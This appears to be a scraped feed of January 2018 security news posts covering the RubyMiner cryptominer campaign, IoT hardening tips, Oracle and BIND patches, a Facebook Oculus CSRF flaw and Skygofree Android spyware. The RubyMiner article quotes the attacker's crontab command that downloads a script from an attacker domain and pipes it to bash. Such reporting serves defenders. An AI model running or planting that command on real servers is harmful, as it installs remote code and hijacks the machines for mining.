RubyMiner Monero Cryptominer affected 30% of networks worldwide in just 24h

Security researchers at Check Point have spotted a malware family dubbed RubyMiner that is targeting web servers worldwide in an attempt to exploit their resources to mine Monero cryptocurrency.

RubyMiner, was first spotted last week when a massive campaign targeted web servers worldwide, most of them in the United States, Germany, United Kingdom, Norway, and Sweden.

The experts believe that a single lone attacker is behind the attacks, in just one day he attempted to compromise nearly one-third of networks globally.

“In the last 24 hours, 30% of networks worldwide have experienced compromise attempts by a crypto-miner targeting web servers.” read the analysis from Check Point.

“During that period, the lone attacker attempted to exploit 30% of all networks worldwide to find vulnerable web servers in order to mobilize them to his mining pool. Among the top countries targeted are the United States, Germany, United Kingdom, Norway and Sweden, though no country has gone unscathed.”

RubyMiner

The malware targets both Windows and Linux servers, attempting to exploit old vulnerabilities in PHP, Microsoft IIS, and Ruby on Rails to deploy the Monero miner.

The Italian security firm Certego noticed the same attacks that began on January 10.

“Our threat intelligence platform has been logging a huge spike in ruby http exploiting since yesterday (10 January) at 23:00.” states the report published by Certego.

“The exploit has been trying to leverage a fairly old CVE (CVE-2013-0156) that allows remote code execution. The following public Emerging Threat signature cover the exploit:”

The attack doesn’t appear very sophisticated, the hacker did not attempt to conceal his operations, but it was focused on infecting the larger number of servers in the shortest time.

“Surprisingly, by using old vulnerabilities published and patched in 2012 and 2013, it doesn’t seem that stealth was part of the attacker’s agenda either. Instead, the attacker chose to exploit multiple vulnerabilities in HTTP web servers, to distribute an open source Monero miner – XMRig.” continues the analysis.

“In fact, XMRig usually sends a donation of 5% of the revenue gained from the mining process to the code’s author. However, even this amount was too much for the attacker to part with as that ‘donation element’ was deleted from the code, giving the enthusiast 100% of the profit.”

At the time of the report, only 700 servers worldwide have been successfully compromised in the first 24 hours of attacks.

The experts from Certego observed the attacker exploiting the CVE-2013-0156 remote code execution flaw in Ruby on Rails.

The attacker sends a base64 encoded payload inside a POST request in the attempt to trick the interpreter into executing it.

The malicious payload is a bash script that adds a cronjob that runs every hour and downloads a robots.txt file containing a shell script, used to fetch and execute the cryptominer. The scheduler is being told to run the whole process, including downloading the file from the server every hour.

“The cron is a UNIX based scheduler which allows running scheduled tasks at fixed times via its own syntax. Running the crontab command with the –r argument will remove all existing tasks in the existing crontab and allow for the miner to take full priority.” continues the analysis from Checkpoint.

echo “1 * * * * wget -q -O – http://internetresearch.is/robots.txt 2>/dev/null|bash >/dev/null 2>&1″|crontab –   

“Now the attacker can inject the new job to the clean crontab file using the “1 * * * *” which will tell the scheduler to run once an hour for one minute infinitely.

The new job will download and execute the “robots.txt” file hosted on “internetresearch.is.” and the mining process can begin.”

Experts believe that the robots.txt file could be used also as a kill switch for RubyMiner,  modify the robots.txt file on the compromised webserver it is possible to deactivate the malware.

“Within a minute, all the machines re-downloading the file will be receiving files without the crypto miners,” Check Point notes.

The expert noticed that one of the domains used by the attacker, lochjol.com, was involved in an attack that abused the Ruby on Rails vulnerability in 2013.

Check Point researchers also published the IoC related to RubyMiner.

Pierluigi Paganini

(Security Affairs –Monero Miner, RubyMiner)

The post RubyMiner Monero Cryptominer affected 30% of networks worldwide in just 24h appeared first on Security Affairs.

Some Basic Rules for Securing Your IoT Stuff

Most readers here have likely heard or read various prognostications about the impending doom from the proliferation of poorly-secured “Internet of Things” or IoT devices. Loosely defined as any gadget or gizmo that connects to the Internet but which most consumers probably wouldn’t begin to know how to secure, IoT encompasses everything from security cameras, routers and digital video recorders to printers, wearable devices and “smart” lightbulbs.

Throughout 2016 and 2017, attacks from massive botnets made up entirely of hacked IoT devices had many experts warning of a dire outlook for Internet security. But the future of IoT doesn’t have to be so bleak. Here’s a primer on minimizing the chances that your IoT things become a security liability for you or for the Internet at large.

-Rule #1: Avoid connecting your devices directly to the Internet — either without a firewall or in front it, by poking holes in your firewall so you can access them remotely. Putting your devices in front of your firewall is generally a bad idea because many IoT products were simply not designed with security in mind and making these things accessible over the public Internet could invite attackers into your network. If you have a router, chances are it also comes with a built-in firewall. Keep your IoT devices behind the firewall as best you can.

-Rule #2: If you can, change the thing’s default credentials to a complex password that only you will know and can remember. And if you do happen to forget the password, it’s not the end of the world: Most devices have a recessed reset switch that can be used to restore to the thing to its factory-default settings (and credentials). Here’s some advice on picking better ones.

I say “if you can,” at the beginning of Rule #2 because very often IoT devices — particularly security cameras and DVRs — are so poorly designed from a security perspective that even changing the default password to the thing’s built-in Web interface does nothing to prevent the things from being reachable and vulnerable once connected to the Internet.

Also, many of these devices are found to have hidden, undocumented “backdoor” accounts that attackers can use to remotely control the devices. That’s why Rule #1 is so important.

-Rule #3: Update the firmware. Hardware vendors sometimes make available security updates for the software that powers their consumer devices (known as “firmware). It’s a good idea to visit the vendor’s Web site and check for any firmware updates before putting your IoT things to use, and to check back periodically for any new updates.

-Rule #4: Check the defaults, and make sure features you may not want or need like UPnP (Universal Plug and Play — which can easily poke holes in your firewall without you knowing it) — are disabled.

Want to know if something has poked a hole in your router’s firewall? Censys has a decent scanner that may give you clues about any cracks in your firewall. Browse to whatismyipaddress.com, then cut and paste the resulting address into the text box at Censys.io, select “IPv4 hosts” from the drop-down menu, and hit “search.”

If that sounds too complicated (or if your ISP’s addresses are on Censys’s blacklist) check out Steve Gibson‘s Shield’s Up page, which features a point-and-click tool that can give you information about which network doorways or “ports” may be open or exposed on your network. A quick Internet search on exposed port number(s) can often yield useful results indicating which of your devices may have poked a hole.

If you run antivirus software on your computer, consider upgrading to a “network security” or “Internet security” version of these products, which ship with more full-featured software firewalls that can make it easier to block traffic going into and out of specific ports.

Alternatively, Glasswire is a useful tool that offers a full-featured firewall as well as the ability to tell which of your applications and devices are using the most bandwidth on your network. Glasswire recently came in handy to help me determine which application was using gigabytes worth of bandwidth each day (it turned out to be a version of Amazon Music’s software client that had a glitchy updater).

-Rule #5: Avoid IoT devices that advertise Peer-to-Peer (P2P) capabilities built-in. P2P IoT devices are notoriously difficult to secure, and research has repeatedly shown that they can be reachable even through a firewall remotely over the Internet because they’re configured to continuously find ways to connect to a global, shared network so that people can access them remotely. For examples of this, see previous stories here, including This is Why People Fear the Internet of Things, and Researchers Find Fresh Fodder for IoT Attack Cannons.

-Rule #6: Consider the cost. Bear in mind that when it comes to IoT devices, cheaper usually is not better. There is no direct correlation between price and security, but history has shown the devices that tend to be toward the lower end of the price ranges for their class tend to have the most vulnerabilities and backdoors, with the least amount of vendor upkeep or support.

In the wake of last month’s guilty pleas by several individuals who created Mirai — one of the biggest IoT malware threats ever — the U.S. Justice Department released a series of tips on securing IoT devices.

One final note: I realize that the people who probably need to be reading these tips the most likely won’t ever know they need to care enough to act on them. But at least by taking proactive steps, you can reduce the likelihood that your IoT things will contribute to the global IoT security problem.

Hackers Exploiting Three Microsoft Office Flaws to Spread Zyklon Malware

Security researchers have spotted a new malware campaign in the wild that spreads an advanced botnet malware by leveraging at least three recently disclosed vulnerabilities in Microsoft Office. Dubbed Zyklon, the fully-featured malware has resurfaced after almost two years and primarily found targeting telecommunications, insurance and financial services. Active since early 2016, Zyklon is

Oracle January 2018 Critical Patch Update also addresses Spectre and Meltdown

Oracle rolled out the January 2018 Critical Patch Update that includes 237 security fixes in its products, the majority of which is remotely exploitable without authentication.

The January 2018 Critical Patch Update also includes security updates that address Spectre and Meltdown vulnerabilities.

“The January 2018 Critical Patch Update provides fixes for certain Oracle products for the Spectre (CVE-2017-5753, CVE-2017-5715) and Meltdown (CVE-2017-5754) Intel processor vulnerabilities. Please refer to this Advisory and the Addendum to the January 2018 Critical Patch Update Advisory for Spectre and Meltdown MOS note (Doc ID 2347948.1).” reads the advisory published by Oracle. “This Critical Patch Update contains 237 new security fixes across the product families listed below. Please note that a MOS note summarizing the content of this Critical Patch Update and other Oracle Software Security Assurance activities is located at January 2018 Critical Patch Update: Executive Summary and Analysis.”

The  January 2018 Critical Patch Update contains 13 new security fixes for the Oracle Sun Systems Products Suite that address 7 remotely exploitable issues.

Oracle updates include the fix for the Spectre CVE-2017-5715 vulnerability affecting its Oracle X86 Servers and Oracle VM VirtualBox. The security updates for Oracle X86 Servers include Intel microcode that allows mitigating the issue in OS and VM.

“Application of firmware patches to pick up the Intel microcode is required only for Oracle x86 servers using non Oracle OS and Virtualization software. Oracle OS and Oracle VM patches for CVE-2017-5715 will include updated Intel microcode.” reads a note included in the advisory “Oracle OS and Oracle VM patches for CVE-2017-5715 will include updated Intel microcode,”

The advisory includes the full list of fixes along with affected products, the product with the largest number of fixes is Financial Services Applications (34 patches,  13 of them remotely exploitable without authentication).

The second product for the number of fixes is the Fusion Middleware with 27 fixes (21 of them remotely exploitable without authentication).

The third is MySQL with 25 fixes, 6 of which remotely exploitable.

Let’s close with the most severe issue, the  CVE-2018-2611 flaw rated with CVSS score 10 affects Sun ZFS Storage Appliance Kit (AK).

Pierluigi Paganini

(Security Affairs –Oracle, January 2018 Critical Patch Update)

The post Oracle January 2018 Critical Patch Update also addresses Spectre and Meltdown appeared first on Security Affairs.

Security Risk Management Considerations for Small & Medium-Sized Business

Risk is inherent in any type of business endeavor whether you have a small or massive multinational business. When it comes to small- and medium-sized businesses (SMBs), the risks tend to carry greater consequences. SMBs are not able to “bounce back” as quickly from security incidents as larger companies because they do not have the […]

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Security Risk Management Considerations for Small & Medium-Sized Business was first posted on January 17, 2018 at 8:34 am.
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Internet Systems Consortium rolled out a patch for a BIND security flaw caused DNS Servers Crash

The Internet Systems Consortium (ISC) has issued security updates for BIND to address a high severity vulnerability that could cause DNS servers crash.

The Internet Systems Consortium (ISC) has rolled out security updates for BIND to address a high severity vulnerability that could be remotely exploited to crash DNS servers.

The flaw discovered by Jayachandran Palanisamy of Cygate AB and tracked as CVE-2017-3145, is caused by a use-after-free bug that can lead to an assertion failure and crash of the BIND name server (named) process.

“BIND was improperly sequencing cleanup operations on upstream recursion fetch contexts, leading in some cases to a use-after-free error that can trigger an assertion failure and crash in named.” reads the security advisory published by ISC.

According to the ISC there is no evidence that the flaw has been exploited in attacks in the wild, but the ISC states that many crashes caused by the bug have been reported by “multiple parties.”

The issue impacted systems that operate as DNSSEC validating resolvers, the experts suggest to temporarily disable DNSSEC validation as a workaround.

“While this bug has existed in BIND since 9.0.0, there are no known code paths leading to it in ISC releases prior to those containing the fix for CVE-2017-3137.  Thus while all instances of BIND ought to be patched, only ISC versions [9.9.9-P8 to 9.9.11, 9.10.4-P8 to 9.10.6, 9.11.0-P5 to 9.11.2, 9.9.9-S10 to 9.9.11-S1, 9.10.5-S1 to 9.10.6-S1, and 9.12.0a1 to 9.12.0rc1] acting as DNSSEC validating resolvers are currently known to crash due to this bug.  The known crash is an assertion failure in netaddr.c.” continues the advisory.

The ISC also disclosed a medium severity DHCP flaw tracked as CVE-2017-3144  that affect versions 4.1.0 to 4.1-ESV-R15, 4.2.0 to 4.2.8, and 4.3.0 to 4.3.6.

“A vulnerability stemming from failure to properly clean up closed OMAPI connections can lead to exhaustion of the pool of socket descriptors available to the DHCP server. ” reads the ISC advisory.

“By intentionally exploiting this vulnerability an attacker who is permitted to establish connections to the OMAPI control port can exhaust the pool of socket descriptors available to the DHCP server. Once exhausted, the server will not accept additional connections, potentially denying access to legitimate connections from the server operator. While the server will continue to receive and service DHCP client requests, the operator can be blocked from the ability to use OMAPI to control server state, add new lease reservations, etc.,”

ISC has already developed a patch that will be rolled out in the future DHCP releases, as a workaround it is possible to disallow access to the OMAPI control port from unauthorized clients.

Pierluigi Paganini

(Security Affairs –BIND, hacking)

The post Internet Systems Consortium rolled out a patch for a BIND security flaw caused DNS Servers Crash appeared first on Security Affairs.

How to hack Facebook accounts exploiting CSRF in Oculus app

Facebook has fixed a couple of vulnerabilities that could have been exploited by attackers to hijack accounts by abusing integration with the Oculus virtual reality headset.

In March 2014, Facebook founder Mark Zuckerberg announced the acquisition of Oculus VR and included the handsets produced by the company to its bug bounty program.

White hat hackers discovered several vulnerabilities in Oculus platform since, including the ones addressed now by Facebook.

The flaws were reported in October by the security consultant Josip Franjković who analyzed the Oculus application for Windows.

“Oculus enables users to connect their Facebook accounts for a more “social” experience. This can be done using both the native Windows Oculus application and using browsers.” wrote Franjković. “I took a deeper look at the native Windows flow, and found a CSRF vulnerability which allowed me to connect a victim’s Facebook account to attacker’s Oculus account. Once connected, the attacker could extract the victim’s access token, and use Facebook’s GraphQL queries to take over the account.”

Facebook oculus

One of the features implemented by the Oculus application is the authentication to a Facebook account, Franjkovic discovered that attackers could have exploited specially crafted GraphQL queries to connect any user’s Facebook account to their Oculus account.

GraphQL is a query language created by Facebook in 2012 for describing the capabilities and requirements of data models for client‐server applications, a GraphQL query is a string that is sent to a server to be interpreted and fulfilled, which then returns JSON back to the client.

Franjkovic discovered that a specially crafted query allowed an attacker to obtain the victim’s access token and use it to impersonate the victim by accessing his account.

In a proof of concept attack, Franjkovic shows how to use a specially crafted query to add a new mobile phone number to the targeted account and use it to reset the victim’s password.

The vulnerability was reported to Facebook on October 24, the social network giant temporary solved the issue by disabling the facebook_login_sso endpoint.

On October 30, Facebook rolled out a patch to address definitively the problem, but a few weeks later, the expert discovered a login cross-site request forgery (CSRF) flaw that could have been exploited to bypass Facebook’s patch.

The experts informed Facebook on November 18 that disabled again the facebook_login_sso endpoint to mitigate the problem. A complete patch was rolled out after a few weeks.

Facebook paid the expert for his discoveries and classified the vulnerabilities as critical.

Step by step procedure exploited by the researcher is described on its blog, below the timeline of the hack:

  • 24th of October, 2017, 03:20 – Report sent to Facebook
  • 24th of October, 2017, 10:50 – First reply from Facebook
  • 24th of October, 2017, 11:30 – Temporary fix for the bug (disabled /facebook_login_sso/ endpoint)
  • 30th of October, 2017 – Bug is now fixed.

Pierluigi Paganini

(Security Affairs –Facebook Oculus, hacking)

The post How to hack Facebook accounts exploiting CSRF in Oculus app appeared first on Security Affairs.

Powerful Skygofree spyware was reported in November by Lukas Stefanko and first analyzed by CSE CybSec

The Skygofree spyware analyzed by Kaspersky today was first spotted by the researcher Lukas Stefanko and the first analysis was published last year by the CSE Cybsec ZLab.

Security researchers at Kaspersky Lab have made the headlines because they have spotted a new strain of a powerful Android spyware, dubbed Skygofree, that was used to gain full control of infected devices remotely.

Skygofree is an Android spyware that could be used in targeted attacks and according to the experts it has infected a large number of users for the past four years.

The name Skygofree is not linked to Sky Go, which is the subsidiary of Sky and does not affect its services.

The malware has been in the wild at least since 2014, and it was improved several times over the years.

“At the beginning of October 2017, we discovered new Android spyware with several features previously unseen in the wild. In the course of further research, we found a number of related samples that point to a long-term development process. We believe the initial versions of this malware were created at least three years ago – at the end of 2014.” reads the analysis published by Kaspersky.

“Since then, the implant’s functionality has been improving and remarkable new features implemented, such as the ability to record audio surroundings via the microphone when an infected device is in a specified location; the stealing of WhatsApp messages via Accessibility Services; and the ability to connect an infected device to Wi-Fi networks controlled by cybercriminals.”

In this post, I’ll show you that the malware was first found by the security researcher at ESET Lukas Stefanko and the first detailed analysis of the spyware (titled “Malware Analysis Report: Fake 3MobileUpdater“) was published by the experts at the CSE Cybsec ZLab.

According to Kaspersky, Skygofree has being distributed through fake web pages mimicking leading mobile network operators. The attackers registered some of the domains used in the attack since 2015.

The most recently observed domain was registered on October 31, 2017, according to Kaspersky data the malicious code was used against several infected individuals, exclusively in Italy.

The team of researchers at CSE CybSec ZLab analyzed in November a fake 3 Mobile Updater that was used pose itself as a legitimate application of the Italian Telco company, TRE Italia.

“The most classic and efficient method used to lure the users is to believe that the application does something good. This is just what 3 Mobile Updater does. In fact, this malicious Android application looks like a legitimate app used to retrieve mobile system update and it improperly uses the logo of the notorious Italian Telco company, TRE Italia, in order to trick victims into trusting it.” reads the report published by CSE CybSec.

Tre android malware

The analysis conducted by Kaspersky suggests the involvement of an Italian firm due to the presence in the code of strings in Italian.

“As can be seen from the comparison, there are similar strings and also a unique comment in Italian, so it looks like the attackers created this exploit payload based on android-rooting-tools project source code.” states Kaspersky.

The CSE CybSec researchers arrived atthe same conclusion, below a portion of the code analyzed by the members of the ZLab.

Skygofree linked to fake 3 updater

“Moreover, both in the logcat messages and in the code, the malware writers used the Italian language. So, we can say with high confidence that this malicious app has been written by an Italian firm that intended to target users of the Italian telco company Tre.” CSE wrote in the analysis.

The artifacts analyzed by Kaspersky in the malware code and information gathered on the control infrastrucure suggest the developer of the Skygofree implants is an Italian IT company that works for surveillance solutions.

Skygofree

 

Kaspersky Lab has not confirmed the name of the Italian company behind this spyware, we at the CSE CybSec ZLab opted for the same decision in October due to the possible involvement of law enforcement or intelligence Agencies.

Unfortunately, the OPsec implemented by the firm is very poor. The name of the company is present in multiple reference of the code. Not only, one of the domains used to control registered by the attacker is linked to an Italian technology company.

“Although the security firm has not confirmed the name of the Italian company behind this spyware, it found multiple references to Rome-based technology company “Negg” in the spyware’s code. Negg is also specialized in developing and trading legal hacking tools.” states the blog post published by THN.

Once installed, Skygofree hides its icon and starts background services to conceal its malicious actions from the victim, one interesting feature implemented by the malicious code prevents its services from being killed.

“Interestingly, a self-protection feature was implemented in almost every service. Since in Android 8.0 (SDK API 26) the system is able to kill idle services, this code raises a fake update notification to prevent it” continues Kaspersky.

According to Kaspersky, the Skygofree malware was enhanced since October implementing a sophisticated multi-stage attack and using a reverse shell payload.

The malicious code includes multiple exploits to escalate privileges for root access used by attackers to execute sophisticated payloads, including a shellcode used to spy on popular applications such as Facebook, WhatsApp, Line, and Viber.

The same spying abilities were implemented in the app we analyzed at the CSE CybSec.

“The capabilities of this malicious app are enormous and include the information gathering from various sources, including the most popular social apps, including Whatsapp, Telegram, Skype, Instagram, Snapchat. It is able to steal picture from the gallery, SMS and calls registry apps. All this data is first stored in a local database, created by the malicious app, and later it is sent to the C2C.” reads the preliminary analysis published on SecurityAffairs.

“There are multiple, exceptional capabilities: usage of multiple exploits for gaining root privileges, a complex payload structure, [and] never-before-seen surveillance features,” the researchers said.

Skygofree is able to take pictures and videos remotely, monitor SMS, call records and calendar event, of course, it also able to gather target’ location and access any information stored on the mobile.

Skygofree also can record audio via the microphone, the attacker can also force the victim’s device to connect to compromised Wi-Fi networks it controls in order to conduct man-in-the-middle attacks.

Kaspersky also found a variant of Skygofree targeting Windows users, a circumstance that suggests the same company is also targeting machines running Windows OS.

The best way to prevent yourself from being a victim is to avoid downloading apps via third-party websites, app stores or links provided in SMS messages or emails.

Comparative analysis fake 3 Mobile Updater vs SkyGoFree

I asked my colleague Dr. Antonio Pirozzi, Director of the CSE CybSec ZLab, to compare the stubs of code shared by Kaspersky with the ones related to the code we analyzed back in November.

This is what has emerged:

These classes are identical:

SkyGoFree comparison
  • The spyware we analyzed did not contain the Android exploits found by Kaspersky, as well as the reverse shell PRISM and the busy box.
  • The class used for parsing are similar;

  • The DNS used are the same;
 
  • The IoCs published by Kaspersky includes the URL of the C&C (url[.] plus) which was the same of the Spyware analyzed by CSE CybSec.
Conclusion
 
Many parts of the code are identical, both source codes include strings in Italian and the reference to the Italian firms are the same. The version analyzed by Kaspersky is a new version of the malware analyzed by CSE CybSec ZLab.
Kaspersky also shared the URL from which the spyware is downloaded and one of them was related to the version we analyzed (Fake 3 mobile updater).
The two version of the malware shared numerous classes, C&C server, Whois records and many other info.  The sample analyzed by CSE was probably still under development.

Pierluigi Paganini

(Security Affairs – Android malware, Skygofree)

The post Powerful Skygofree spyware was reported in November by Lukas Stefanko and first analyzed by CSE CybSec appeared first on Security Affairs.

Skygofree — Powerful Android Spyware Discovered

Security researchers have unveiled one of the most powerful and highly advanced Android spyware tools that give hackers full control of infected devices remotely. Dubbed Skygofree, the Android spyware has been designed for targeted surveillance, and it is believed to have been targeting a large number of users for the past four years. Since 2014, the Skygofree implant has gained several

A Cyber Insurance Policy Checklist

Use this checklist to help you purchase the best cyber insurance policy for your company. Step 1. Determine If You Need Cyber Insurance. Things to consider include: Your company handles sensitive information which includes, but is not limited to, ePHI or PII. Sensitive information ranges from stored contact details to health information, from financial information […]

The post A Cyber Insurance Policy Checklist appeared first on InfoSec Resources.


A Cyber Insurance Policy Checklist was first posted on January 16, 2018 at 8:25 am.
©2017 "InfoSec Resources". Use of this feed is for personal non-commercial use only. If you are not reading this article in your feed reader, then the site is guilty of copyright infringement. Please contact me at darren.dalasta@infosecinstitute.com